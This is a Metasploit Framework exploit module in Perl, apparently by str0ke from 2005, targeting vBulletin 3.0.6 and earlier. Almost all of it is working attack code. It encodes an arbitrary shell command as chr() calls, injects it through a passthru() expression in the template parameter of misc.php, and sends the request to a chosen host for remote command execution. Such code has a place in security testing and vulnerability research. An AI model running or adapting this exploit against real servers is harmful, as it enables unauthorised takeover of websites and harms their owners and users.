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str0ke

تاريخ: 2005-08-03


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##
# Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
# Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
# Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

'Refs' =>
[
['MIL', '832'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},

'Keys' => ['vBulletin'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

# Create the get request data
my $data = "?do=page&template={\${passthru($byte)}}";

my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine(' Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine(" Sending the malicious vBulletin Get request...");

$s->Send($req);

my $results = $s->Recv(-1, 20);
$s->Close();

return;
}

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